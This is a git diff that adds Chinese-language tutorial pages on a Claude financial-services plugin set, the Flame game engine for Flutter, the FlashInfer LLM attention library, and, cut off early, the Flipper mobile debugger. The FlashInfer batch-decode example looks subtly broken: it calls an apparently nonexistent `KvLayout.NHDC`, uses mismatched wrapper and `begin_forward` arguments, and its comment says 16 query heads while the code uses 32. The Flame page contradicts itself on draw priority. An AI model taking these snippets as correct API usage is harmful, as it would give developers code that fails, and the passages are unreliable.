+# 安装股权研究垂直技能（可选，但推荐）
+claude plugin install equity-research@claude-for-financial-services
+```
+
+**步骤 2：在 Claude 会话中使用**
+
+```
+你: /dcf AAPL
+
+Claude 会自动：
+1. 通过 MCP 连接器从 Morningstar/FactSet 拉取 AAPL 的财务数据
+2. 计算 WACC（加权平均资本成本）
+3. 预测未来 5-10 年的自由现金流
+4. 计算终值（Terminal Value）
+5. 做敏感性分析（不同折现率下的估值区间）
+6. 生成一份完整的 Excel 文件，内含模型和图表
+```
+
+### 示例二：跑一个可比公司分析（Comps）
+
+假设你要评估一家 SaaS 公司，需要找同行业可比公司。
+
+```bash
+# 安装投资银行技能（含 comps 分析能力）
+claude plugin install investment-banking@claude-for-financial-services
+```
+
+```
+你: /comps 找一家ARR 5000万美元、增速40%的SaaS公司
+
+Claude 会自动：
+1. 通过 PitchBook / S&P 数据源筛选可比公司
+2. 提取每家公司的关键估值倍数（EV/Revenue、EV/EBITDA 等）
+3. 生成一个可比公司对比表
+4. 输出到 Excel，包含图表
+```
+
+### 示例三：Managed Agent 云端部署
+
+如果你需要在机构内部自动运行这些 Agent：
+
+```bash
+# 设置 API Key
+export ANTHROPIC_API_KEY=sk-ant-xxx
+
+# 部署一个 GL Reconciler（总账核对 Agent）—— 全自动
+scripts/deploy-managed-agent.sh gl-reconciler
+
+# 这个脚本会：
+# 1. 读取 managed-agent-cookbooks/gl-reconciler/ 下的配置
+# 2. 解析文件引用，上传 Skills
+# 3. 创建 leaf-worker 子智能体
+# 4. 通过 POST 请求把编排器注册到 /v1/agents 端点
+```
+
+部署后，Agent 会自动运行：当有对账差异时，它自己找原因、追踪根因、然后把结果路由给人审核。
+
+## 五、仓库结构一览
+
+```
+plugins/
+  agent-plugins/                ← 命名 Agent（每个自包含一个完整工作流）
+    pitch-agent/                ←   路演 PPT 全流程
+    market-researcher/          ←   行业研究
+    earnings-reviewer/          ←   财报审阅
+    model-builder/              ←   财务模型构建
+    gl-reconciler/              ←   总账核对
+    kyc-screener/               ←   KYC 审查
+    ...
+  vertical-plugins/             ← 按垂直领域分类的技能+命令包
+    financial-analysis/         ←   核心：建模技能 + 11个数据连接器
+    investment-banking/         ←   投行技能
+    equity-research/            ←   股权研究技能
+    ...
+  partner-built/                ← 合作伙伴插件（LSEG、S&P Global）
+managed-agent-cookbooks/        ← Managed Agent 的 YAML 配置模板
+claude-for-msft-365-install/    ← MS Office 插件的 IT 部署工具
+scripts/                        ← 部署脚本：check.py, validate.py, orchestrate.py
+```
+
+## 六、斜杠命令速查
+
+最常用的几个命令：
+
+| 命令 | 功能 | 所属领域 |
+|------|------|----------|
+| `/comps` | 可比公司分析 | 金融分析 |
+| `/dcf` | DCF 估值 | 金融分析 |
+| `/lbo` | LBO 模型 | 金融分析 |
+| `/3-statement-model` | 三表模型 | 金融分析 |
+| `/earnings` | 财报后季度更新 | 股权研究 |
+| `/sector` | 行业全景报告 | 股权研究 |
+| `/ic-memo` | 投委会备忘录 | 私募 |
+| `/rebalance` | 资产组合再平衡 | 财富管理 |
+| `/cim` | 保密信息备忘录 | 投行 |
+
+## 七、自定义你的 Agent
+
+这些都是参考模板，真正有价值的是**根据你的机构定制**：
+
+1. **替换数据源** —— 把 `.mcp.json` 指向你自己的数据提供商
+2. **加入机构上下文** —— 把你们的术语、流程、格式标准写进 skill 文件
+3. **导入品牌模板** —— `/ppt-template` 可以让 Claude 使用你们公司的 PPT 模板
+4. **调整 Agent 范围** —— 编辑 `agents/<slug>.md` 匹配你们团队的实际工作方式
+5. **自己加** —— 复制现有结构，为你们独有的工作流创建新 Agent
+
+## 八、关键术语表
+
+| 术语 | 解释 |
+|------|------|
+| **Agent** | 一个完整的、端到端的工作流，自带提示词和技能 |
+| **Skill** | 某项专业能力（如 DCF 建模），可被多个 Agent 复用 |
+| **Command** | 你主动触发的斜杠命令，如 `/dcf` |
+| **MCP** | Model Context Protocol，Claude 连接外部数据的标准协议 |
+| **Cowork** | Claude 的桌面插件运行环境 |
+| **Managed Agent** | 通过 API 部署的云端智能体 |
+| **Comps** | Comparable Company Analysis，可比公司分析 |
+| **DCF** | Discounted Cash Flow，现金流折现估值 |
+| **LBO** | Leveraged Buyout，杠杆收购模型 |
+| **CIM** | Confidential Information Memorandum，保密信息备忘录 |
+| **IC Memo** | Investment Committee Memo，投委会备忘录 |
+| **NAV** | Net Asset Value，净资产价值 |
+| **KYC** | Know Your Customer，客户身份验证 |
diff --git a/src/content/docs/projects/flame.md b/src/content/docs/projects/flame.md
new file mode 100644
index 000000000..5c149bea2
--- /dev/null
+++ b/src/content/docs/projects/flame.md
@@ -0,0 +1,411 @@
+---
+title: Flame — Flutter 上的 2D 游戏引擎
+来源: flame-engine/flame
+日期: 2026-06-13
+子分类: 移动端
+分类: 后端 API
+难度: 中级
+provenance: pipeline-v3
+---
+
+## 日常类比：Flame 是「Flutter 游乐园里的游乐设施调度中心」
+
+你已经会用 Flutter 搭界面——按钮、列表、路由都像商场里的固定店铺，顾客点哪开哪。  
+但**游戏**不一样：角色要每帧移动、子弹要实时碰撞、敌人要定时刷新，整栋楼得有一个**中央调度台**不停喊「下一帧开始了，各就各位」。
+
+**Flame** 就是这个调度台。它跑在 Flutter 之上，提供游戏循环、组件树、碰撞检测、输入、粒子、音效等 2D 游戏专用能力。日常类比：
+
+- **Flutter `Widget` 树** → 商场装修图纸，改一次要整页重画  
+- **Flame `Component` 树** → 游乐园里的设施清单，每个设施自己更新位置、自己画自己  
+- **`GameWidget`** → 把游乐园嵌进 Flutter App 的那块地  
+- **`FlameGame`** → 调度中心主任，掌管 tick 时钟和全场组件
+
+你仍然用 Dart 写逻辑、仍然能热重载、仍然能打包 iOS / Android / Web / Desktop——只是从「做 App」切换成「做游戏」。
+
+| 维度 | 数据 |
+|---|---|
+| GitHub | [flame-engine/flame](https://github.com/flame-engine/flame) |
+| 文档 | [docs.flame-engine.org](https://docs.flame-engine.org/) |
+| 协议 | MIT |
+| 语言 | Dart（依赖 Flutter SDK） |
+| 定位 | 轻量 2D 游戏引擎，不是 3D 引擎 |
+| 生态 | `flame_audio`、`flame_tiled`、`flame_forge2d`（物理）、`flame_riverpod` 等 Bridge 包 |
+
+---
+
+## 解决什么问题：Flutter 默认不管「实时游戏」
+
+Flutter 的强项是**声明式 UI**：`build()` 根据状态描述界面，框架负责 diff 和重绘。这对表单、信息流、仪表盘很合适，但对游戏有三个硬伤：
+
+1. **没有稳定的高频游戏循环**  
+   游戏需要以固定节奏（通常 60fps）反复执行「算物理 → 改坐标 → 画画面」。Flutter 的 `AnimationController` 能驱动局部动画，却不会像引擎那样统一管理全局 tick。
+
+2. **没有面向游戏的对象模型**  
+   Widget 不可变、重建成本高；游戏里却有几十上百个会动、会死、会碰撞的实体。每个实体都需要 `update(dt)` 和 `render(canvas)`，而不是 `setState()`。
+
+3. **缺少碰撞、精灵、相机、粒子等游戏原语**  
+   自己用 `CustomPainter` + 定时器也能拼，但 Hitbox 管理、碰撞回调、精灵表动画、世界坐标与相机变换，全是重复劳动。
+
+Flame 把这些抽成 **Flame Component System（FCS）**：
+
+- `FlameGame` 持有一棵 Component 树，每帧遍历调用 `update` / `render`  
+- `SpriteComponent`、`PositionComponent`、`TextComponent` 等开箱即用  
+- `HasCollisionDetection` + `CollisionCallbacks` 提供 Hitbox 与碰撞事件  
+- `CameraComponent` / `World` 分离「游戏世界」与「镜头」  
+- 可与 Flutter `Overlay` 混用——游戏里打怪，菜单用 Material 按钮
+
+一句话：**Flutter 给你跨平台画布，Flame 在上面铺游戏跑道。**
+
+---
+
+## 核心概念
+
+### 1. Component — 游戏里的「自更新零件」
+
+Component 是 Flame 的基本单元，类似 Flutter 的 Widget，但语义不同：
+
+| 对比 | Flutter Widget | Flame Component |
+|---|---|---|
+| 生命周期 | `build()` 描述 UI | `onLoad()` 异步加载资源 |
+| 每帧行为 | 被动等框架重建 | 主动 `update(dt)` 改状态 |
+| 绘制 | RenderObject 管线 | `render(canvas)` 或子类自带绘制 |
+| 组合 | `child:` 嵌套 | `add(child)` 挂到树上 |
+
+常见子类：
+
+- `SpriteComponent` — 贴图精灵  
+- `PositionComponent` — 带位置、尺寸、旋转的容器  
+- `TextComponent` — 游戏内文字（分数、提示）  
+- `World` — 游戏世界容器，默认挂在 `FlameGame.world`  
+- `CameraComponent` — 镜头，决定「看世界的哪个角落」
+
+组件通过 `add()` / `remove()` 动态进出场景。`onLoad()` 里适合 `await loadSprite()`、`add(CircleHitbox())` 等一次性初始化——类比演员上台前化妆，而不是每帧重画。
+
+优先级 `priority` 控制绘制顺序：数值大的后画，压在下面。
+
+### 2. GameLoop — 驱动一切的 tick 时钟
+
+游戏循环是两步交替：
+
+```
+update(dt)  →  根据上一帧经过的秒数 dt 推进逻辑（移动、计时、AI）
+render()    →  把当前状态画到 Canvas
+```
+
+`dt`（delta time）至关重要：位移应写成 `position += velocity * dt`，这样 30fps 和 120fps 设备上角色速度一致——和 LÖVE、Unity 同一道理。
+
+Flame 的 `GameLoop` 模块抽象了上述循环，所有 `Game` 实现都依赖它。`FlameGame` 每 tick 会：
+
+1. 调 `updateTree(dt)` — 递归更新所有 mounted 组件  
+2. 调 `renderTree(canvas)` — 按 priority 递归绘制  
+
+生命周期顺序（简化）：
+
+```
+onGameResize → onLoad → onMount → (update → render)* → onRemove
+```
+
+`GameWidget(game: myGame)` 把 `FlameGame` 嵌进 Flutter 树。注意：**不要在 `build()` 里每次 `new FlameGame()`**，应缓存实例或用 `GameWidget.controlled`，否则热重载/重建会丢游戏状态。
+
+### 3. 碰撞检测 — Hitbox + 回调，不管「碰撞后发生什么」
+
+几乎所有游戏都要回答：「这两个物体重叠了吗？」没有碰撞检测，玩家穿墙、子弹打不中、金币捡不到。
+
+Flame 的做法：
+
+1. 在 `FlameGame` 上混入 `HasCollisionDetection` — 引擎维护可碰撞组件列表  
+2. 在实体上 `add(RectangleHitbox())` / `CircleHitbox()` / `PolygonHitbox()` — 定义物理边界  
+3. 在实体上混入 `CollisionCallbacks` — 接收 `onCollisionStart` / `onCollision` / `onCollisionEnd`  
+
+要点：
+
+- **可见 ≠ 可碰撞**：贴了图还要加 Hitbox，引擎才知道边界在哪  
+- **检测与响应分离**：Flame 只告诉你「谁碰了谁」，扣血、反弹、销毁由你在回调里写  
+- **每帧扫描**：碰撞在 `update` 阶段检测；用 `onCollisionStart` 可避免重叠期间每帧重复触发 Game Over  
+- **大量物体**：可换 `HasQuadTreeCollisionDetection` 做空间划分优化  
+- **屏幕边缘**：`add(ScreenHitbox())` 让物体碰边时收到回调
+
+Hitbox 形状越贴合物体，检测越准，但计算越贵。平台游戏常用矩形，弹球、轨道类用圆形。
+
+---
+
+## 最小可运行骨架
+
+`pubspec.yaml` 添加依赖后，入口通常长这样：
+
+```dart
+import 'package:flame/game.dart';
+import 'package:flutter/material.dart';
+
+void main() {
+  runApp(
+    GameWidget(
+      game: StarCollectorGame(),
+    ),
+  );
+}
+
+class StarCollectorGame extends FlameGame {
+  @override
+  Future<void> onLoad() async {
+    // 加载精灵、添加玩家/敌人/相机/摇杆……
+  }
+}
+```
+
+`FlameGame` 约等于 Flutter 里的 `MaterialApp`：一切的根。子组件加在 `world`（默认 `World` 实例）或 `camera` 上，取决于要不要随镜头移动。
+
+---
+
+## 实践案例
+
+### 案例 1：弹球碰壁 — 理解 GameLoop + Component + 碰撞
+
+Google Codelab「Brick Breaker」式最小示例：球在矩形场地内弹跳，碰墙反弹，碰底销毁。
+
+```dart
+import 'package:flame/collisions.dart';
+import 'package:flame/components.dart';
+import 'package:flame/game.dart';
+import 'package:flutter/material.dart';
+
+class BounceGame extends FlameGame with HasCollisionDetection {
+  @override
+  Future<void> onLoad() async {
+    add(PlayArea());
+    add(Ball(velocity: Vector2(180, -140))..position = size / 2);
+  }
+}
+
+/// 场地边界——只提供碰撞形状，不负责画
+class PlayArea extends PositionComponent with CollisionCallbacks {
+  @override
+  Future<void> onLoad() async {
+    size = parent!.size;
+    add(RectangleHitbox());
+  }
+}
+
+class Ball extends CircleComponent
+    with CollisionCallbacks, HasGameReference<BounceGame> {
+  Ball({required this.velocity}) : super(radius: 10);
+
+  Vector2 velocity;
+
+  @override
+  Future<void> onLoad() async {
+    paint = Paint()..color = const Color(0xFF1E6091);
+    add(CircleHitbox());
+  }
+
+  @override
+  void update(double dt) {
+    position += velocity * dt; // dt 保证各帧速度一致
+  }
+
+  @override
+  void onCollisionStart(
+    Set<Vector2> intersectionPoints,
+    PositionComponent other,
+  ) {
+    if (other is PlayArea) {
+      final p = intersectionPoints.first;
+      if (p.y <= 0 || p.y >= game.size.y) velocity.y = -velocity.y;
+      if (p.x <= 0 || p.x >= game.size.x) velocity.x = -velocity.x;
+      if (p.y >= game.size.y) removeFromParent(); // 落底出局
+    }
+  }
+}
+```
+
+**逐段解释**：
+
+- `HasCollisionDetection` 挂在 Game 上，全局开启碰撞系统  
+- `Ball.update(dt)` 每帧改 `position`，这是 GameLoop 驱动的逻辑层  
+- `CircleHitbox` 让圆「有实体」，否则引擎当它是幽灵  
+- `onCollisionStart` 读交点坐标判断碰的是哪条边，改 `velocity` 实现反弹  
+- 碰撞响应（反弹/销毁）写在你手里，Flame 只报相交
+
+### 案例 2：轨道吃豆 — 定时刷怪 + 碰撞 Game Over + Flutter Overlay
+
+改编自社区教程「Neon Orbit」思路：玩家沿圆轨道运动，点击切换内外轨，敌人撞上即暂停并弹出 Flutter 重开按钮。
+
+```dart
+import 'dart:math';
+import 'package:flame/collisions.dart';
+import 'package:flame/components.dart';
+import 'package:flame/events.dart';
+import 'package:flame/game.dart';
+import 'package:flutter/material.dart';
+
+class OrbitGame extends FlameGame with TapCallbacks, HasCollisionDetection {
+  late Player player;
+  double spawnTimer = 0;
+
+  @override
+  Future<void> onLoad() async {
+    player = Player();
+    add(player);
+  }
+
+  @override
+  void update(double dt) {
+    super.update(dt);
+    spawnTimer += dt;
+    if (spawnTimer > 1.2) {
+      spawnTimer = 0;
+      add(Enemy()..position = Vector2(size.x / 2, 40));
+    }
+  }
+
+  @override
+  void onTapDown(TapDownEvent event) => player.toggleOrbit();
+}
+
+class Player extends CircleComponent
+    with CollisionCallbacks, HasGameReference<OrbitGame> {
+  double angle = 0;
+  double orbitRadius = 120;
+  final double speed = 2.5;
+
+  @override
+  Future<void> onLoad() async {
+    radius = 14;
+    paint = Paint()..color = Colors.cyanAccent;
+    add(CircleHitbox());
+  }
+
+  @override
+  void update(double dt) {
+    angle += speed * dt;
+    position = Vector2(
+      game.size.x / 2 + cos(angle) * orbitRadius,
+      game.size.y / 2 + sin(angle) * orbitRadius,
+    );
+  }
+
+  void toggleOrbit() => orbitRadius = orbitRadius == 120 ? 200 : 120;
+
+  @override
+  void onCollisionStart(
+    Set<Vector2> intersectionPoints,
+    PositionComponent other,
+  ) {
+    if (other is Enemy) {
+      pauseEngine();
+      game.overlays.add('GameOver'); // Flutter Overlay，不是 Flame 组件
+    }
+  }
+}
+
+class Enemy extends CircleComponent with CollisionCallbacks {
+  @override
+  Future<void> onLoad() async {
+    radius = 10;
+    paint = Paint()..color = Colors.orange;
+    add(CircleHitbox());
+  }
+
+  @override
+  void update(double dt) {
+    position.y += 80 * dt;
+    if (position.y > parent!.size.y + 20) removeFromParent();
+  }
+}
+```
+
+`main.dart` 里用 `GameWidget.controlled` 注册 overlay：
+
+```dart
+GameWidget<OrbitGame>.controlled(
+  gameFactory: OrbitGame.new,
+  overlayBuilderMap: {
+    'GameOver': (context, game) => Center(
+      child: ElevatedButton(
+        onPressed: () {
+          game.overlays.remove('GameOver');
+          game.resumeEngine();
+          game.children.whereType<Enemy>().forEach((e) => e.removeFromParent());
+        },
+        child: const Text('再来一局'),
+      ),
+    ),
+  },
+)
+```
+
+**要点**：
+
+- `update` 里用 `dt` 累加刷怪计时器——游戏逻辑的「心跳」  
+- `pauseEngine()` / `resumeEngine()` 冻结 GameLoop，菜单仍可用 Flutter 画  
+- `overlays` 是 Flame 与 Flutter 的桥梁：HUD、暂停页、结算页用 Widget 更合适  
+- 双方都有 `CircleHitbox` 才能碰撞；`onCollisionStart` 只触发一次，避免连续扣血
+
+---
+
+## 生态与扩展包
+
+Flame 本体保持精简，复杂能力由官方 Bridge 包补充：
+
+| 包 | 用途 |
+|---|---|
+| `flame_audio` | BGM / 音效 |
+| `flame_tiled` | 读取 Tiled 编辑器导出的 `.tmx` 地图 |
+| `flame_forge2d` | Box2D 刚体物理（重力、关节、复杂碰撞） |
+| `flame_riverpod` / `flame_bloc` | 与常用状态管理集成 |
+| `flame_spine` | Spine 骨骼动画 |
+
+选型建议：简单 AABB / 圆形碰撞用内置 `collision_detection` 足够；需要堆叠、弹射、绳索用 `forge2d`。
+
+---
+
+## 与同类方案对比
+
+| 方案 | 优势 | 劣势 |
+|---|---|---|
+| **Flame + Flutter** | 同一技术栈做 App 内小游戏、全平台、热重载 | 包体积随 Flutter；重度 3D 不适合 |
+| **Unity / Godot** | 成熟编辑器、3D、资源商店 | 与 Flutter 主工程割裂，嵌入成本高 |
+| **纯 Flutter CustomPainter** | 零额外依赖 | 循环、碰撞、精灵全要自己造 |
+| **LÖVE / MonoGame** | 轻、专注 2D | 不能复用 Flutter UI 与发布流水线 |
+
+若你已经在做 Flutter App，要在设置页塞一个小游戏、或做教育类互动关卡，Flame 几乎是最顺手的增量。
+
+---
+
+## 上手路径（零基础到可发布）
+
+1. **环境**：`flutter create my_game` → `pubspec.yaml` 加 `flame: ^1.x`  
+2. **第一个场景**：`GameWidget` + 空 `FlameGame`，`onLoad` 里 `add(TextComponent(text: 'Hello Flame'))`  
+3. **动起来**：自定义 `PositionComponent`，在 `update(dt)` 里改 `position`  
+4. **贴图**：`await loadSprite('player.png')` → `SpriteComponent`  
+5. **输入**：混入 `TapCallbacks` / `KeyboardHandler` / `JoystickComponent`  
+6. **碰撞**：`HasCollisionDetection` + Hitbox + `CollisionCallbacks`  
+7. **关卡**：`flame_tiled` 导入地图碰撞层  
+8. **打磨**：`flame_audio` 音效、`ParticleSystemComponent` 粒子、`Effect` 做闪烁淡入  
+9. **发布**：走正常 `flutter build apk/ios/web` 流程
+
+官方资源：
+
+- [Flame 文档](https://docs.flame-engine.org/)  
+- [Google Codelab: Brick Breaker](https://codelabs.developers.google.com/codelabs/flutter-flame-brick-breaker)  
+- [Ember Quest 平台跳跃教程](https://docs.flame-engine.org/latest/tutorials/platformer/platformer.html)  
+- [examples 仓库](https://github.com/flame-engine/flame/tree/main/examples) 含碰撞、相机、粒子等可运行 demo
+
+---
+
+## 常见坑
+
+1. **在 `build()` 里创建 `FlameGame`** — 每次重建丢状态；用成员变量或 `GameWidget.controlled`  
+2. **忘了 `dt`** — 写 `position += velocity` 帧率越高越快  
+3. **有图无 Hitbox** — 视觉上重叠，引擎不触发回调  
+4. **`onCollision` 里做一次性逻辑** — 重叠期每帧触发；用 `onCollisionStart`  
+5. **资源路径** — 精灵放 `assets/images/`，`pubspec.yaml` 声明 `assets:`，`onLoad` 里异步加载  
+6. **坐标系** — Flame 默认原点在左上，y 向下；相机 `viewfinder` 可改锚点
+
+---
+
+## 小结
+
+Flame 把 Flutter 变成能跑实时 2D 游戏的平台：**`FlameGame` 掌管 GameLoop，`Component` 树承载可更新实体，`HasCollisionDetection` + Hitbox 解决「谁碰到谁」**。你专注玩法和手感，引擎负责 tick、绘制顺序和碰撞扫描。
+
+从「会 Flutter」到「会做小游戏」，通常只差一个 `GameWidget` 和第一个 `update(dt)`。
diff --git a/src/content/docs/projects/flashinfer-project.md b/src/content/docs/projects/flashinfer-project.md
new file mode 100644
index 000000000..58480e18f
--- /dev/null
+++ b/src/content/docs/projects/flashinfer-project.md
@@ -0,0 +1,181 @@
+---
+title: FlashInfer — LLM 推理的 GPU 内核引擎
+来源: https://github.com/flashinfer-ai/flashinfer
+日期: 2026-06-13
+分类: 机器学习
+子分类: ML 系统
+provenance: pipeline-v3
+---
+
+# FlashInfer — LLM 推理的 GPU 内核引擎
+
+## 日常类比
+
+想象一下，你是一家大图书馆的管理员。LLM（大语言模型）每次回答你的问题，都需要翻遍整个图书馆——从几万本书里找出"最相关"的内容，然后再组织语言回答。这个过程叫**注意力机制（Attention）**。
+
+如果每次翻书都得走一趟图书馆，效率会很低。FlashInfer 做的事情，就是：
+1. 把最常查的书放到手边的速查桌上（KV-Cache）
+2. 用多线程同时翻书（GPU 并行）
+3. 提前把书整理好分类（内核优化）
+
+这样，LLM 回答的速度就能大幅提升。
+
+**FlashInfer** 就是一个专门为 LLM 推理服务设计的 GPU 内核库。它给 PyTorch 提供了一个"加速工具箱"，让你在部署大语言模型时，推理速度更快、内存使用更低。
+
+## 核心概念
+
+### 1. 注意力机制的两种阶段
+
+LLM 推理有两个完全不同的阶段，FlashInfer 为每个阶段都做了专门优化：
+
+| 阶段 | 做什么 | 类比 |
+|------|--------|------|
+| **Prefill（预填充）** | 一次性处理用户输入的所有 token | 把一整本书放到速查桌上 |
+| **Decode（解码）** | 一次只生成一个 token | 每次只翻一页写回答 |
+
+这两个阶段的工作方式完全不同——prefill 是批量处理，decode 是串行生成。FlashInfer 分别用 `single_prefill_with_kv_cache` 和 `single_decode_with_kv_cache` 来优化。
+
+### 2. KV-Cache（键值缓存）
+
+Attention 计算中，Key 和 Value 矩阵会随着生成的 token 越来越多而变大。如果每次都重新计算，内存和计算量都会爆炸。
+
+KV-Cache 就是把已经算过的 Key 和 Value 存起来，下次生成新 token 时直接复用，不用再翻"整本图书馆"了。
+
+### 3. 多后端自动选择
+
+FlashInfer 不是自己发明了一套算法，而是把多种后端集成在一起：
+
+- **FlashAttention-2/3** — 学术界最经典的注意力优化
+- **cuDNN** — NVIDIA 官方库
+- **CUTLASS** — NVIDIA 矩阵乘法库
+- **TensorRT-LLM** — NVIDIA 推理引擎
+
+FlashInfer 会根据你的 GPU 型号和当前任务，自动选择最快的后端。
+
+### 4. 支持的低精度计算
+
+为了更快，FlashInfer 支持：
+
+- **BF16** — 基础精度，兼容性好
+- **FP8** — 更低精度，更快计算
+- **FP4** — Blackwell 架构 GPU 专用，极致压缩
+
+## 代码示例
+
+### 示例一：最简入门 — 单请求 Decode
+
+这是 FlashInfer 最基础的用法：给一个查询向量（query），给它一堆已缓存的键值对（key/value），返回注意力输出。
+
+```python
+import torch
+import flashinfer
+
+# 1. 准备数据：假设用 128 维的 embedding，16 个查询头
+q = torch.randn(32, 128, device="cuda", dtype=torch.float16)  # [num_qo_heads, head_dim]
+
+# 2. KV-Cache 里已经存了 2048 个 token 的 Key 和 Value
+k = torch.randn(2048, 32, 128, device="cuda", dtype=torch.float16)  # [kv_len, num_kv_heads, head_dim]
+v = torch.randn(2048, 32, 128, device="cuda", dtype=torch.float16)
+
+# 3. 一行代码调用 FlashInfer 的 decode 内核
+output = flashinfer.single_decode_with_kv_cache(q, k, v)
+
+print(output.shape)  # torch.Size([32, 128])
+```
+
+对比原生 PyTorch 实现：
+
+```python
+# 原生 PyTorch — 需要手动实现 Attention
+attn_weights = torch.einsum("hd,lhd->hl", q, k) / (128 ** 0.5)
+attn_probs = torch.softmax(attn_weights, dim=-1)
+output_torch = torch.einsum("hl,lhd->hd", attn_probs, v)
+```
+
+FlashInfer 的底层是用 CUDA 写的，避免了 Python 循环和内存复制，速度通常快 2-10 倍。
+
+### 示例二：使用 Wrapper 管理批量推理
+
+实际生产中，会有多个用户同时请求 LLM。FlashInfer 提供了 Wrapper 类来管理批量请求：
+
+```python
+import torch
+import flashinfer
+
+# 1. 创建 decode wrapper
+batch_size = 4  # 4 个并发请求
+head_dim = 128
+num_kv_heads = 8
+max_total_seq_len = 4096
+
+decode_wrapper = flashinfer.decode.BatchDecodeWithKVCacheWrapper()
+
+# 2. 初始化——告诉它总容量和注意力类型
+decode_wrapper.begin_forward(
+    kv_lens=[512, 1024, 256, 768],       # 每个请求已有的 token 数
+    kv_layout=flashinfer.KvLayout.NHDC,  # 键值对内存布局
+    num_qo_heads=32,
+    num_kv_heads=num_kv_heads,
+    head_dim=head_dim,
+    pos_encoding_mode="NONE",
+    rope_scale=1.0,
+    rope_theta=10000.0,
+)
+
+# 3. 准备当前请求的 query 和共享的 KV-Cache
+q = torch.randn(sum([1, 1, 1, 1]), 32, head_dim, device="cuda", dtype=torch.float16)
+k = torch.randn(max_total_seq_len, num_kv_heads, head_dim, device="cuda", dtype=torch.float16)
+v = torch.randn(max_total_seq_len, num_kv_heads, head_dim, device="cuda", dtype=torch.float16)
+
+# 4. 批量计算注意力
+output = decode_wrapper(q, k, v)
+decode_wrapper.end_forward()
+
+print(output.shape)  # torch.Size([4, 32, 128])
+```
+
+## FlashInfer 的主要功能模块
+
+除了 Attention，FlashInfer 还提供了：
+
+- **GEMM** — 优化的矩阵乘法（BF16/FP8/FP4）
+- **MoE（混合专家）** — Fused MoE 内核，支持 DeepSeek-V3、Llama-4 等模型
+- **采样（Sampling）** — Top-K、Top-P、Min-P 采样，不需要排序操作
+- **RoPE** — 旋转位置编码（LLaMA 系列模型使用）
+- **归一化（Norm）** — RMSNorm、LayerNorm 等
+- **激活函数** — SiLU、GELU 等
+
+## 支持的 GPU 架构
+
+| 架构 | 计算能力 | 代表 GPU |
+|------|----------|----------|
+| Turing | SM 7.5 | T4, RTX 20 系列 |
+| Ampere | SM 8.0/8.6 | A100, A10, RTX 30 系列 |
+| Ada | SM 8.9 | L4, L40, RTX 40 系列 |
+| Hopper | SM 9.0 | H100, H200 |
+| Blackwell | SM 10.0/10.3/11.0 | B200, B300, Jetson Thor |
+
+## 在实际项目中的位置
+
+FlashInfer 不是独立的推理框架，而是作为"引擎部件"被集成到更大的系统中：
+
+- **vLLM** — 用 FlashInfer 做注意力加速
+- **SGLang** — 同样集成 FlashInfer 内核
+- **TensorRT-LLM** — NVIDIA 官方推理引擎
+- **TGI** — HuggingFace 的文本生成推理服务
+
+## 学习建议
+
+从零基础出发，理解 FlashInfer 的建议路径：
+
+1. 先理解 Transformer 的基本架构和 Attention 机制
+2. 理解 LLM 推理中 Prefill 和 Decode 两个阶段的区别
+3. 理解 KV-Cache 是什么、为什么要缓存
+4. 安装 FlashInfer 后，从 `single_decode_with_kv_cache` 这个小函数入手跑通
+5. 再深入了解 Wrapper 类和批量推理
+
+## 进一步阅读
+
+- FlashInfer 文档：https://docs.flashinfer.ai/
+- 论文：FlashInfer: Efficient and Customizable Attention Engine for LLM Inference Serving (arXiv:2501.01005)
+- KV-Cache Layout 教程：https://docs.flashinfer.ai/tutorials/kv_layout.html
diff --git a/src/content/docs/projects/flipper.md b/src/content/docs/projects/flipper.md
new file mode 100644
index 000000000..4e3d643f1
--- /dev/null
+++ b/src/content/docs/projects/flipper.md
@@ -0,0 +1,256 @@
+---
+title: Flipper — Meta 出品的移动应用桌面调试平台
+来源: https://github.com/facebook/flipper
+日期: 2026-06-13
+子分类: 移动端
+分类: 后端 API
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**Flipper** 是 Meta 开源的**移动应用调试平台**：在电脑上用图形界面查看、检查、甚至操控正在真机或模拟器上运行的 iOS / Android App。官方仓库 [facebook/flipper](https://github.com/facebook/flipper)（13k+ stars，MIT）。
+
+日常类比：
+
+> 修汽车时，你不会只靠司机口头描述「发动机有点怪」——你会接 OBD 诊断仪，看转速、油耗、故障码。
+> 移动端开发也一样：App 里网络失败、布局错位、数据库写不进去，光在 `console.log` 里翻字符串很痛苦。
+> **Flipper 就是手机 App 的「OBD 仪」**：电脑上一块面板，实时看日志、抓 HTTP、点选 UI 树、翻 SQLite，还能装插件扩展能力。
+
+架构上它拆成两半，像对讲机：
+
+| 部件 | 跑在哪 | 干什么 |
+|------|--------|--------|
+| **Desktop / Server** | 你的 Mac / Linux / Windows（或浏览器） | 展示 UI、装插件、发指令 |
+| **Mobile SDK** | App 进程里（仅 Debug 构建） | 采集数据、执行 Desktop 下发的命令 |
+
+两端通过本地网络（ADB / IDB / Metro）通信；Flipper 负责序列化、路由和插件生命周期，你不用自己造 socket 协议。
+
+## 为什么重要
+
+如果你做 **原生 iOS/Android** 或维护 **React Native 0.62–0.69 时代** 的项目，Flipper 曾是事实上的标配调试台。不理解它，这些问题很难高效排查：
+
+- **网络层**：请求发出去了吗？Header / Body 对不对？是证书问题还是 401？Network 插件比 Charles 更贴近 App 进程，且和布局、日志同屏。
+- **UI 层**：「这个按钮为什么偏了 8px？」Layout Inspector 直接在原生视图树上点选，比截图量像素靠谱。
+- **存储层**：UserDefaults、SharedPreferences、Room / SQLite 里到底写了什么？不用 adb shell 手工 `sqlite3`。
+- **可扩展**：团队可以写**自定义插件**——把业务埋点、功能开关、Mock 服务器嵌进 Flipper，新人 onboarding 时不用背一堆 adb 命令。
+
+需要知道的**现状（2024 起）**：
+
+1. **Electron 桌面版停更**：最后带 Electron 安装包的是 [v0.239.0](https://github.com/facebook/flipper/releases/tag/v0.239.0)；之后官方推浏览器版 `npx flipper-server` 或从源码 `yarn start`。
+2. **React Native 官方支持冻结在同一版本**：RN 的 React DevTools、Hermes Debugger 等插件在 v0.239.0 之后不再维护；Meta 正在做新的 RN 专用工具链。学 Flipper 仍有价值（原生 Android/iOS、插件架构思想、老项目维护），但**新项目不要把它当 RN 默认方案**。
+
+## 核心概念
+
+### 1. 设备（Device）与 App 是两层连接
+
+连上 Flipper 后，侧边栏里常见**两类「设备」**（RN 场景尤其明显）：
+
+- **React Native 设备**：连的是本机 **Metro** bundler，提供 Reload、Open Dev Menu、Metro Logs、React DevTools 等。
+- **真机 / 模拟器设备**：通过 **ADB**（Android）或 **IDB**（iOS）连到跑 App 的进程，承载 Layout、Network、Database 等**原生级**插件。
+
